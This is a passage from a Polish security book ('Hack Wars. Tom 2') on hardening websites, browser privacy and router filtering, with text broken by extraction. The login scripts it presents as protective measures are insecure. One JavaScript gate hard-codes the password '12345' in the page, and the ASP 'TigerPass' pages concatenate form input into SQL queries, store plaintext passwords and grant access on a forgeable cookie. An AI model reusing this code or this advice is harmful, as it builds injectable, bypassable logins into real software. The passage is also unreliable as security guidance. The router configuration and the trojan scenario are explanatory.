o domenie. Jeśli nawet nie zdecydujesz się na skorzystanie z takich usług, możesz zmienić
krytyczne informacje. Dla przykładowej firmy XYZ przygotowaliśmy formularze modyfi-
kacji informacji o kontakcie i hoście. Takie modyfikacje mogą być wykonywane bezpo-
ś
rednio przez Internet na stronie NASK-u (patrz rysunek 1.41).
Rysunek 1.41.
Modyfikacja
informacji o domenie
może być bardzo
prosta
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
137
137
Rekomendowane przez nas zmiany powinny obejmować tematy wymienione niżej.
1.
Uzyskanie od dostawcy nazwiska osoby kontaktowej.
2.
Uzyskanie od dostawcy adresu kontaktowego lub użycie skrzynki pocztowej.
3.
Uzyskanie kontaktowego numeru telefonicznego: użyj bezpośredniej skrzynki
głosowej poza wewnętrzną centralą telefoniczną firmy, innego systemu
telefonicznego lub numeru pagera.
4.
Uzyskanie od dostawcy kontaktowego adresu e-mail lub użycie innego konta,
na przykład @Yahoo.com, @Hotmail.com albo @wp.pl.
5.
Uzyskanie od dostawców serwerów nazw domen.
Na stronie NASK-u (www.dns.pl) znajdują się odpowiednie formularze do modyfikacji
nazwy rejestracyjnej domeny, danych osoby kontaktowej, danych konta kontaktowego
i zmiany danych o hoście lub serwerze nazw (patrz rysunki 1.41 i 1.42).
Rysunek 1.42.
Formularz
modyfikacji danych
osoby kontaktowej
138
Hack Wars. Tom 2. Na tropie hakerów
138
Projekt witryny internetowej
Wiele witryn internetowych ujawnia krytyczne informacje na swoich stronach. W Interne-
cie często publikowane są dane, takie jak nazwiska osób kontaktowych, adresy poczty
elektronicznej, telefony wewnętrzne, schematy infrastruktury sieci, zakresy adresów
sieciowych IP, a nawet nazwy społeczności. Dla przykładu jakaś z firm opublikowała
nazwy społeczności SNMP, a jeden z routerów w oddziale umożliwiał zapis i odczyt.
Jak wyjaśniono w pierwszym tomie tej książki, informacje te mogą spowodować,
ż
e ataki hakerów, polegające na uzyskaniu kontaktów z pracownikami, wysyłaniu
wiadomości elektronicznych i próbach uzyskania zdalnej kontroli, będą przeprowadzane
z powodzeniem. Jako praktyczny przykład możesz obejrzeć firmowe strony informa-
cyjne, które zawierają informacje o pracownikach, mogące posłużyć do zdobycia kolej-
nych informacji (zobacz rysunek 1.43).
Rysunek 1.43.
Ujawnienie zbyt
dużej liczby
informacji może
doprowadzić
do ataku hakera
Biorąc to pod uwagę, należy przyjąć ogólną zasadę niepublikowania na stronach interne-
towych nazwisk pracowników i ich adresów e-mail. Zastąpić je możesz formularzami na
stronie WWW lub adresami nieujawniającymi szczegółowych informacji na temat od-
biorcy poczty. Aby to zademonstrować, zmodyfikujemy stronę pokazaną na rysunku 1.43
w celu ukrycia krytycznych informacji (zobacz rysunek 1.44). Jak można zobaczyć, te
zmiany mogą odwieść hakera od przeprowadzenia bezpośredniego ataku. Jednakże w tym
przypadku firma jest ciągle wrażliwa na inne rodzaje ataków, na przykład bombardowanie
skrzynek pocztowych. Aby tego uniknąć, jeszcze raz zmodyfikujemy stronę z kontaktami
w celu eliminacji możliwości bezpośredniej wymiany informacji przez dołączenie for-
mularza (zobacz rysunek 1.45).
Tak naprawdę najlepszym sposobem postępowania podczas tworzenia bezpiecznej wi-
tryny internetowej jest dokładne zbadanie każdej strony w poszukiwaniu zawartości,
która może ułatwić atak hakera. Jeśli na witrynie umieszczasz schematy wewnętrznej
sieci, strukturę IP oraz nazwy społeczności, oznacza to wysłanie zaproszenia dla hakerów.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
139
139
Rysunek 1.44.
Umieszczanie
na stronach
internetowych bardziej
ogólnych informacji
kontaktowych
jest znacznie
bezpieczniejsze
Rysunek 1.45.
Eliminacja
bezpośredniej
wymiany danych
może być
najskuteczniejsza
Nawet jeśli nie musisz obawiać się ujawniania takich informacji, zawsze dobrym pomy-
słem jest implementacja prostej zapory wejściowej. Wiadomo, iż umieszczenie na stronie
kodu, takiego jak skrypt logowania, skrypty ASP i VB czy plików wykonywalnych
CGI, często odstrasza nocnych napastników. Poniżej przedstawiono przykład adaptacji
prostego i łatwego do implementacji skryptu logowania, utworzonego w Javie przez
znanego programistę Johna Fentona:
<HTML>
<HEAD>
<H1><CENTER>Wprowad
ź
hasło</H1></CENTER>
<!--Je
ś
li chcesz, mo
ż
esz zmieni
ć
lub usun
ąć
ten nagłówek -->
140
Hack Wars. Tom 2. Na tropie hakerów
140
<SCRIPT LANGUAGE=JAVASCRIPT>
function verify(){
var password ="12345"; // Tutaj podaj hasło
// Podaj stron
ę
, do której nale
ż
y przej
ść
, je
ś
li hasło jest
poprawne
var protected_page ="mypage.html";
var pd=document.password.pin.value
// Mo
ż
esz zmieni
ć
'pin', je
ś
li poni
ż
ej zmienisz nazw
ę
okna hasła
if(pd!=password) // sprawdza hasło
{
alert("Niewła
ś
ciwe hasło");
}
else
{
alert("Hasło poprawne");
window.location.href=protected_page; // Przenosi do podanej
powy
ż
ej zabezpieczonej strony
}}
</SCRIPT>
<TITLE>
<!-- Zmie
ń
to -->
</TITLE>
</HEAD>
<BODY bgcolor=black text=red> <!--Je
ś
li chcesz, mo
ż
esz zmieni
ć
zestaw kolorów -->
<BR>
<BR>
<CENTER>
<FORM name=password> <!--Mo
ż
esz zmieni
ć
nazw
ę
formularza, ale
musisz tego dokona
ć
równie
ż
powy
ż
ej -->
<INPUT type=password name=pin> <!--Mo
ż
esz zmieni
ć
'pin', ale
musisz tego dokona
ć
równie
ż
powy
ż
ej -->
<BR>
<BR>
<INPUT type=button value=Submit OnClick="verify()"> <!--Mo
ż
esz
zmieni
ć
nazw
ę
funkcji, ale musisz tego dokona
ć
równie
ż
powy
ż
ej-->
</CENTER>
</BODY>
</HTML>
Kolejnym przykładem jest TigerPass, który może być użyty jako wewnętrzna bramka
logowania i może zostać w prosty sposób przekształcony do frontonu CGI. Przedsta-
wiony na rysunku 1.46 oraz w postaci następującego kodu program został opracowany
przez programistę Visual Basica — Philipa Beama; narzędzie to automatycznie zapytuje
małą bazę danych o nazwie login.mdb w celu uzyskania rozliczeń dostępu i odno-
ś
ników krzyżowych.
Rysunek 1.46.
Plik wykonywalny
logowania TigerPass
może być wykorzystany
jako moduł sprawdzający
hasło wejściowe
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
141
141
TigerPass
Private Sub Command1_Click()
Login.Data1.Recordset.FindFirst "memID = '" & Login.Text1.Text &
"'"
If Login.Pass.Caption = Login.Text2.Text Then
MsgBox "Login succesful!"
Login.MemID.Caption = ""
Login.Pass.Caption = ""
Login.Text1.Text = ""
Login.Text2.Text = ""
Exit Sub
End If
MsgBox " Login unsuccesful!"
Login.Text1.Text = ""
Login.Text2.Text = ""
End Sub
Private Sub Command2_Click()
Login.Data1.Recordset.AddNew
Login.Data1.Recordset.Fields("memID") = "" & Login.Text1.Text &
""
Login.Data1.Recordset.Fields("pass") = "" & Login.Text2.Text & ""
Login.Data1.Recordset.Update
Login.MemID.Caption = ""
Login.Pass.Caption = ""
Login.Text1.Text = ""
Login.Text2.Text = ""
End Sub
Private Sub Command4_Click()
Login.Command5.Visible = True
Login.Command4.Visible = False
Login.Width = 3465
End Sub
Private Sub Command5_Click()
Login.Command4.Visible = True
Login.Command5.Visible = False
Login.Width = 5985
End Sub
Wypróbuj również TigerPass ASP, który może być wykorzystywany jako bramka do
zewnętrznego logowania. Przedstawiony na rysunku 1.47 oraz w postaci następujące-
go kodu program został opracowany przez programistę Microsoftu — J.L. du Preeza. Ta
wersja udostępnia witrynie możliwość logowania oraz zapewnia zabezpieczenia haseł,
a także pozwala użytkownikom na zmianę swoich haseł. Aby program zadziałał, musisz
po prostu zainstalować wszystkie pliki w katalogu na serwerze, a następnie umieścić
plik password.mdb w katalogu /db, umieszczonym w głównym katalogu.
Rysunek 1.47.
Interfejs frontowy
ASP TigerPass
142
Hack Wars. Tom 2. Na tropie hakerów
142
TigerPass ASP: Login.asp
<html>
<head>
<title>Prosz
ę
zalogowa
ć
si
ę
</title>
<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1> Aby kontynuowa
ć
, musisz zalogowa
ć
si
ę
:</h1></center>
<BR>
<FORM ACTION="login1.asp" METHOD="post">
<P> </P>
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT size="10"
NAME="login"
></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="password"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>
<INPUT TYPE="reset"
VALUE="Wyczy
ść
"></INPUT>
</TD>
</TR>
</TABLE></center>
</FORM>
</body></html>
Login1.asp
<%Dim Apples
Set Apples = Server.CreateObject("ADODB.Connection")
ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; "
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb")
Apples.Open(ConnStr)
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
143
143
SQLtemp = "SELECT * FROM password WHERE user = '" &
Request.form("login") & "' "
Set rs = Apples.Execute(SQLtemp)
while not rs.eof
dim username
username = rs("user")
dim friendlyname
friendlyname = rs("name")
response.cookies("passes") = username
response.cookies("passes2") = friendlyname
If Request.Form("login") = rs("user") AND Request.Form("password") =
rs("pass") Then
Response.redirect("protected.asp")
Else
Response.redirect("login2.asp")
End If
rs.MoveNext
Wend
OnError response.Redirect ("login2.asp")
rs.Close
Apples.Close
set Apples = Nothing
Login2.asp
<html>
<head>
<title>Prosz
ę
zalogowa
ć
si
ę
</title>
<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Niestety, logowanie nie powiodło si
ę
</h1></center>
<center><h1>Prosz
ę
spróbowa
ć
ponownie</h1></center>
<BR>
<FORM ACTION="login1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text" size="10"
∑
NAME="login"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Hasło:</TD>
144
Hack Wars. Tom 2. Na tropie hakerów
144
<TD><INPUT TYPE="password"
size="10"
∑
NAME="password"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>
<INPUT TYPE="reset"
VALUE="Oczy
ść
"></INPUT>
</TD>
</TR>
</TABLE></center>
</FORM>
</body></html>
Passchange.asp
<%username = request.cookies("passes")%>
<html>
<head>
<title>Zmie
ń
hasło</title>
<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Prosz
ę
zmieni
ć
swoje hasło</h1></center>
<BR>
<FORM ACTION="passchange1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text"
Value=<%=username%>
size="10"
NAME="login"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Stare
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="oldpassword"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Nowe
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
145
145
NAME="newpassword1"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Potwierdzenie
nowego
hasła:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="newpassword2"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zmie
ń
"></INPUT>
<INPUT TYPE="reset"
VALUE="Wyczy
ść
"></INPUT>
</TD>
</TR>
</TABLE></center>
</FORM>
</body></html>
Passchange1.asp
<%Dim Apples
Set Apples = Server.CreateObject("ADODB.Connection")
ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; "
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb")
Apples.Open(ConnStr)
SQLtemp = "SELECT * FROM password WHERE user = '" &
Request.form("login") & "' "
Set rs = Apples.Execute(SQLtemp)
If Request.Form("login") = rs("user") AND Request.Form("oldpassword")
= rs("pass")
AND Request.Form("newpassword1") = Request.Form("newpassword2")
then
SQL = "UPDATE password SET pass = '" & Request.Form("newpassword2") &
"' WHERE user
= '" & Request.Form("login") & "'"
Apples.Execute(sql)
Response.redirect ("updated.asp")
Else
Response.redirect ("passchange2.asp")
End If
set ConnStr = Nothing
rs.Close
Apples.Close
set ConnStr = Nothing
%>
146
Hack Wars. Tom 2. Na tropie hakerów
146
Passchange2.asp
<%username = request.cookies("passes")%>
<html>
<head>
<title>Zmie
ń
hasło</title>
<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Niestety, niektóre podane dane były
niepoprawne.</h1></center>
<BR>
<FORM ACTION="passchange1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text"
Value=<%=username%>
size="10"
NAME="login"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Stare
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="oldpassword"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Nowe
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="newpassword1"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Potwierdzenie
hasła:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="newpassword2"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
147
147
<INPUT TYPE="reset"
VALUE="Wyczy
ść
"></INPUT>
</TD>
</TR>
</TABLE></center>
</FORM>
</body></html>
Protected.asp
<%username = request.cookies("passes")%>
<%friendlyname = request.cookies("passes2")%>
<%If request.cookies("passes") = "" then response.redirect
("login.asp")%>
<html><head><title>Prosz
ę
wybra
ć
miejsce docelowe</title>
<STYLE>
<!--
H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana,
arial}
body {background: #000000; font-size: 15pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
</head>
<body>
<BR>
<h1><center>Witam <%=friendlyname%>. Tu mo
ż
esz znale
źć
pliki
ź
ródłowe</center></h1>
<BR><BR><BR>
<center><a href="pass.zip">Plik
ź
ródłowy tych stron</a></center>
<BR>
<center><a href="passchange.asp">Zmie
ń
swoje hasło</a></center>
<BR>
<center><a href="login.asp">Wyloguj i zaloguj si
ę
ponownie</a></center>
</body>
</html>
Updated.asp
<%username = request.cookies("passes")%>
<%friendlyname = request.cookies("passes2")%>
<html><head><title>Wybierz miejsce docelowe</title>
<STYLE>
<!--
H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana,
arial}
body {background: #000000; font-size: 15pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
148
Hack Wars. Tom 2. Na tropie hakerów
148
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
</head>
<body>
<BR>
<h1><center>Dzi
ę
kuj
ę
, <%=friendlyname%>. Hasło zostało
zmienione</center></h1>
<BR><BR><BR>
<center><a href="pass.zip">Plik
ź
ródłowy tych stron</a></center>
<BR>
<center><a href="passchange.asp">Zmie
ń
swoje hasło</a></center>
<BR>
<center><a href="login.asp">Wyloguj i zaloguj si
ę
ponownie</a></center>
</body>
</html>
Te programy są dostępne na dołączonym do książki CD-ROM-ie.
Anonimowość użytkownika
Prywatni i korporacyjni użytkownicy chcą mieć pewność, że mogą anonimowo surfo-
wać po Internecie i łączyć się z sieciami rozległymi. Niestety, pod względem technicz-
nym jest to trudne do osiągnięcia i ta kwestia staje się kolejną furtką, przez którą jest
przeprowadzane zdalne zbieranie informacji. Hakerzy mogą przyciągnąć użytkow-
ników do konkretnej witryny internetowej, używając takich zachęt, jak dowcipy, dar-
mowe lub pirackie oprogramowanie, aukcje z najlepszymi cenami, czy najświeższe
informacje. Wystarczy jedna krótka wizyta na takiej stronie, aby napastnik przechwycił
pożądane informacje.
Informacje przeglądane lub pobierane przez przeglądarkę są przechwytywane przez co-
okies, słynne — i niesławne — niewidoczne komunikaty, przesyłane do przeglądar-
ki przez serwer internetowy. Przeglądarka przechowuje zwykle te komunikaty w pliku
cookie.txt. Cookies są stale przesyłane w trakcie procesu komunikacji HTTP. Przeglą-
darka zwykle przechowuje cookies aż do następnego odwiedzenia danej strony.
Nie wszystkie cookies są szkodliwe, ale część z nich tak. Początkowo cookies miały
być przydatne dla internautów; utworzono je w celu identyfikacji preferencji użytkow-
nika przed wygenerowaniem dynamicznej strony internetowej dla tej osoby. Często
napotykamy witryny wyglądające tak, jakby „oczekiwały” na nas (zobacz rysunek 1.48).
Jest to możliwe właśnie dzięki cookies. Wadą tego procesu (wykorzystaną przez ha-
kerów) jest fakt, iż niektóre sieci i intranety zostały zaprojektowane tak, aby odróż-
niać adresy IP i nazwy hostów. Co więcej, czas życia cookies różni się, a niektóre z nich
o nazwie „nieśmiertelnych cookies” istnieją na dysku przez długi czas, będąc dostępnymi
dla hakerów.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
149
149
Rysunek 1.48.
Dynamiczne witryny
internetowe
„pamiętają”
swoich użytkowników
dzięki cookies
Java i JavaScript działają podobnie jak cookies pod względem technik gromadzenia
informacji. Jak na pewno wiesz, przeglądarka jest po prostu kompilatorem kodu pro-
gramów, który odczytuje strony internetowe, zaprojektowane w takich językach, jak
ASP, HTTP, VBScript, Java i innych. Przeglądarka kompiluje następnie kod w celu
utworzenia informacji widocznej w oknie programu. Można więc powiedzieć, iż po-
dobnie jak cookies, kod Java w Internecie może być użyty przeciwko Tobie.
Przy użyciu cookies i Javy zdalni napastnicy mogą potencjalnie uzyskać następujące dane:
typ Twojej przeglądarki,
zainstalowane wtyczki (pluginy) przeglądarki,
położenie Twojego punktu obecności (point of presence — POP),
format daty i czasu w Twoim systemie,
dokładne informacje o domenie,
ostatnio odwiedzane witryny,
czy akceptowane są języki Java, JavaScript oraz VBScript,
Twój adres IP,
nazwę Twojego komputera,
Twój adres e-mail.
Możesz w to wierzyć albo nie, ale to wystarczająco dużo informacji, aby rozpocząć
wiele rodzajów ataków na Twój system. Oto prosty przykład.
1.
Projektuję stronę internetową z dowcipami, znajdującą się na wielu darmowych
serwerach, dostępnych w sieci.
2.
Reklamuję tę stronę przy użyciu popularnych wyszukiwarek, serwerów list
i tablic ogłoszeń.
3.
Użytkownik szuka dobrego dowcipu, który mógłby przesłać do swoich
znajomych i rodziny, przez co trafia na moją stronę. W tym momencie
150
Hack Wars. Tom 2. Na tropie hakerów
150
odkrywam część przedstawionych powyżej informacji, na przykład dane
o zainstalowanych wtyczkach.
4.
Użytkownik otrzymuje przyjazną wiadomość e-mailową, informującą
go o pojawieniu się ważnych aktualizacji wtyczek Shockwave Flash lub Real
Player. W wiadomości znajduje się odnośnik do strony, z której można
za darmo pobrać aktualizację.
5.
Użytkownik pobiera plik zawierający nowszą wersję wtyczki. Nie wie jednak
w tym momencie, że znajduje się tam również koń trojański Homer, który
umożliwia przejęcie kontroli nad jego komputerem.
Wynik? Zobacz rysunek 1.49.
Rysunek 1.49.
Wpadłeś!
Ten typ próby ataku zdarza się co chwila, a użytkownicy często obciążają pomyłkowo
prawidłową konfigurację oprogramowania za występujące problemy systemowe,
podczas gdy ich systemy zostały zainfekowane przez destrukcyjne demony.
Aby sprawdzić, co „oni” już wiedzą o Tobie, zaloguj się na stronie
www.anonymizer.com.
Do przeciwdziałania takiemu zagrożeniu anonimowości użytkownika można wyko-
rzystać mechanizmy zabezpieczeń sieci i komputerów osobistych. Większość prze-
glądarek umożliwia również ustawienie standardowych środków zabezpieczających.
Funkcje Microsoft Internet Explorera mogą być zmodyfikowane przez rozwijalne
menu Opcje internetowe (zobacz rysunek 1.50).
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
151
151
Rysunek 1.50.
Ustawianie poziomu
zabezpieczeń
w Internet Explorerze
Kolejną prostą metodą zabezpieczania jest aktualizacja przeglądarki internetowej do
najnowszej wersji, niezależnie od producenta, gdyż zwykle zawiera ona ulepszone środki
bezpieczeństwa przeciwko typowym sposobom włamania. Wszyscy domowi i korpora-
cyjni użytkownicy Internetu powinni zmodyfikować poziom bezpieczeństwa zgodnie
z osobistymi lub firmowymi potrzebami. Jak pokazano na rysunku 1.51, wiele prze-
glądarek pozwala na dopasowanie własnych opcji zabezpieczeń. Dla przykładu, aby w MS
Internet Explorerze ustawić poziom zabezpieczeń, z menu Narzędzia wybierz Opcje in-
ternetowe, a następnie kliknij zakładkę Zabezpieczenia. Teraz kliknij strefę, w której
chcesz zmodyfikować poziom zabezpieczeń. Przesuń suwak w górę, aby ustawić wyższy
standard zabezpieczeń, lub w dół, aby uzyskać niższy standard. Aby własnoręcznie
ustawić ustawienia zabezpieczeń dla danej strefy, kliknij przycisk Poziom niestandardowy
(Twoja przeglądarka może również pozwalać na konfigurację „zaufanych” i „niezaufa-
nych” witryn, dzięki czemu uzyskuje się większą kontrolę nad przeglądanymi stronami).
ś
al mi to mówić, ale cookies najbezpieczniej wyłączyć w ogóle; podobne środki bezpie-
czeństwa należy zastosować w stosunku do kodu Java, spotykanego na stronach WWW.
„Porządne” witryny zwykle zawierają odnośnik pozwalający na ręczne zalogowanie
się w przypadku przeglądarek nieobsługujących cookies (czyli tych, które „nie biorą cu-
kierków od obcych”). Również konfiguracja restrykcyjnych ograniczeń Javy w czasie
sesji może zmusić witryny korzystające z niej do wyświetlenia prośby o zgodę na uży-
cie tego języka. Zajmie to zwykle kilka sekund i nie wymaga restartu komputera.
152
Hack Wars. Tom 2. Na tropie hakerów
152
Rysunek 1.51.
Dopasowanie funkcji
zabezpieczeń w MS
Internet Explorerze
W celu uzyskania dodatkowych zabezpieczeń sprawdź wcześniej wymieniony program
TigerSurf, omówiony w załączniku A i dołączony do tej książki na CD-ROM-ie.
Skanowanie zakresu adresów IP
Jeśli przeczytałeś pierwszy tom tej książki, już wiesz, iż skanowanie zakresu adresów IP
jest jednym z pierwszych kroków wykonywanych w czasie zdalnego badania celu.
Działanie skanerów IP polega na przeczesywaniu całego zakresu adresów IP i zgłaszaniu
węzłów, które są aktywne lub odpowiadają na żądania echa PING lub ICMP. Takie ak-
tywne, zalogowane i opisane węzły stają się częścią składową schematów sieci docelowej.
Kolejnym krokiem jest wtedy wykorzystanie technik badania niezabezpieczonych portów.
Blokując lub filtrując skanowanie zakresu adresów IP, zniechęcamy wielu agresorów do
wykorzystania bardziej zaawansowanych technik badań potencjalnie zagrożonych
systemów. Wprowadzenie tych technik zabezpieczeń musi być jednak wykonane ostroż-
nie, ponieważ niektóre systemy mogą wymagać użycia usługi „ping” ze względu na
wykorzystanie programów do lokalnego zarządzania i monitorowania, które aktywnie
wysyłają żądania. W takiej sytuacji alternatywą może być pozwolenie na wysyłanie od-
powiedzi do autoryzowanych adresów przy całkowitym zablokowaniu usługi dla pozosta-
łych hostów.
Najbardziej efektywną ochronę przed skanowaniem zakresu adresów IP można uzyskać
przy użyciu frontowych bramek zabezpieczeń, takich jak routery, firewalle i zaawansowa-
ne proxy. W trakcie podejmowania decyzji powinieneś zajrzeć do podręcznika obsługi
i opisu poleceń bramki, a także skonsultować rozwiązania ze swoim dostawcą usług in-
ternetowych.
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
153
153
Pozostała część tego rozdziału jest poświęcona opisowi typowych przykładów ogól-
nego filtrowania przy użyciu konkretnych bramek.
Router 3Com
Aby skonfigurować filtry dla routera IP, wykonaj poniższe czynności.
1.
Ustaw zasady filtrowania przy użyciu:
ADD -IP FilterAddrs <
adres1
> [<
katalog
>] <
adres2
> [<
działanie
>
∑
[<
protokół
> [<
ID_filtra
>]]]<
działanie
> =
{PROTocolRsrv=<
znacznik
>}|
Discard | DODdiscard | Forward | {QPriority = H | M | L}
X25Profile
= <
profil
>} <
protokół
> = DLSW | FTP | IP | IPDATA | ICMP | SMTP |
TCP | TELNET | UDP
2.
W razie potrzeby utwórz filtr lub filtry przy użyciu:
ADD !<
ID_filtra
> -IP FIlters <
warunek
> [,<
warunek
...] <
warunek
>
= <
%offset
>:[<
operator
>]<
%wzorzec
>
3.
Ustaw parametr
FilterDefAction
przy użyciu:
SETDefault -IP FilterDefAction = [Forward | Discard]
4.
Włącz filtrowanie pakietów, wprowadzając:
SETDefault -IP CONTrol = Filtering
Cabletron/Enterasys
Aby zabezpieczyć procesor przed nadmiernym ruchem, wykonaj poniższe czynności.
1.
Zainstaluj poniższe lub podobne listy kontroli dostępu (ACL):
ssr(config)# ac1 hackstop deny tcp any x.x.x.x/32 any >1024
ssr(config)# ac1 hackstop deny udp any x.x.x.x/32 any >1024
ssr(config)# ac1 hackstop permit ip any any any any
2.
Zastosuj powyższe listy ACL dla interfejsu, portu lub vLAN-u. Poniższy przykład
przedstawia sposób zastosowania listy ACL dla interfejsu o nazwie ip-Inter:
ssr(config)# ac1 hackstop apply interface ip-Inter input
Checkpoint FireWall-1
Aby uniemożliwić przechodzenie ICMP przez firewall, wykonaj poniższe czynności.
1.
Otwórz Security Policy Editor.
2.
Otwórz menu Policy i wybierz Properties.
3.
Upewnij się, czy opcja Accept ICMP jest wyłączona.
Router Cisco
Pokazana poniżej przykładowa konfiguracja odnosi się do głównego routera internetowe-
go, przedstawionego na rysunku 1.52.
154
Hack Wars. Tom 2. Na tropie hakerów
154
Rysunek 1.52.
Scenariusz
konfiguracji routera
Cisco
! Opcja 1: U
ż
ycie puli NAT
no ip name-server
no proxy arp
!
ip subnet-zero
no ip domain-lookup
ip routing
!
! Kontrola dost
ę
pu w oparciu o kontekst
!
no ip inspect audit-trail
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 0
!
! IP inspect Ethernet_0_0
!
no ip inspect name Ethernet_0_0
ip inspect name Ethernet_0_0 tcp
ip inspect name Ethernet_0_0 udp
ip inspect name Ethernet_0_0 cuseeme
ip inspect name Ethernet_0_0 ftp
ip inspect name Ethernet_0_0 h323
ip inspect name Ethernet_0_0 rcmd
ip inspect name Ethernet_0_0 realaudio
ip inspect name Ethernet_0_0 smtp
ip inspect name Ethernet_0_0 streamworks
ip inspect name Ethernet_0_0 vdolive
ip inspect name Ethernet_0_0 sqlnet
ip inspect name Ethernet_0_0 tftp
!
interface Ethernet 0/0
no shutdown
description connected to EthernetLAN
ip address 172.29.44.1 255.255.0.0
ip nat inside
ip inspect Ethernet_0_0 in
Rozdział 1.
♦
♦
♦
♦
Zabezpieczanie portów i usług
155
155
ip access-group 100 in
keepalive 10
!
interface Ethernet 0/1
no description
no ip address
ip nat inside
shutdown
!
interface Serial 0/0
no shutdown
description connected to Internet
service-module t1 clock source line
service-module t1 data-coding normal
service-module t1 remote-loopback full
service-module t1 framing esf
service-module t1 linecode b8zs
service-module t1 lbo none
service-module t1 remote-alarm-enable
ip address 206.0.139.70 255.255.255.128
ip nat outside
ip access-group 101 in
encapsulation hdlc
!
!Lista kontroli dost
ę
pu ACL 1
!
no access-list 1
access-list 1 permit 172.29.0.0 0.0.255.255
access-list 1 permit 172.20.44.0 0.0.0.3
access-list 1 permit 172.18.0.0 0.0.255.255
!
!Lista kontroli dost
ę
pu ACL 100
!
no access-list 100
access-list 100 permit ip any any
!
!Lista kontroli dost
ę
pu ACL 101
!
no access-list 101
access-list 101 deny ip any any
!
! Statyczny NAT (Serwer pocztowy)
!
